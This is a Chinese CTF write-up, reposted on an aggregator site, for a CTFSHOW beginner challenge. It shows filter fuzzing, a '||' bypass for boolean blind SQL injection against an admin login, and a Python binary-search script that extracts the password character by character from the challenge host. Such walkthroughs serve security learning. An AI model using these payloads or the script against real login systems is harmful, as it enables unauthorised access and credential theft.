标签:head 用户名 萌新赛 admin mid 密码 tail CTFSHOW 萌新
有4个段子,查看前端没思路,开扫描
发现存在admin目录
发现存在注入
fuzz测试一波
发现括号 | 没过滤,其他比如 or and & # -- 啥的全都过滤了,而||就是or,有or就可以注入
首先测试观察可知,输入admin,密码随便输入会提示密码错误,反之会提示 用户名/密码错误,另外用户名太长会单独提示用户名错误(相当于xianzhi注入语句长度了)
既然账号为admin和不为admin回显不同,这里就可以盲注了
u='||'1'<'0 (这里大于号和等于号被过滤了,前面的单引号和后面省略一个单引号和原语句闭合)
由于长度有限制,没法直接爆破字段名,这里靠一点点脑洞猜测密码字段名
密码是p,构造u='||length(p)<'10 来探测密码位数(探测出来是17位)
构造u='||substr(p,1,1)<'a 来探测每一位是啥
写脚本跑吧
import requests url = "http://7ade1780-adb8-42e3-9f71-c22cc4129184.challenge.ctf.show:8080//admin/checklogin.php" result = '' i = 0 ans="0123456789abcdefghijklmnopqrstuvwxyz" print(len(ans)) while True: i = i + 1 head = 0 tail = 36 while head < tail: mid = (head + tail) >> 1 print(mid) payload="'||substr(p,"+str(i)+",1)<'"+ans[mid]+"" print(payload) data = {"u":payload,"p":"1", } #print(payload) r = requests.post(url=url, data=data) #print(r.text) if "用户名" in r.text: head = mid + 1 else: tail = mid if head != 32: result += ans[head-1] else: break print(result)
密码是:cptbtptpbcptdtptp
标签:head,用户名,萌新赛,admin,mid,密码,tail,CTFSHOW,萌新 来源: https://www.cnblogs.com/aninock/p/15376671.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。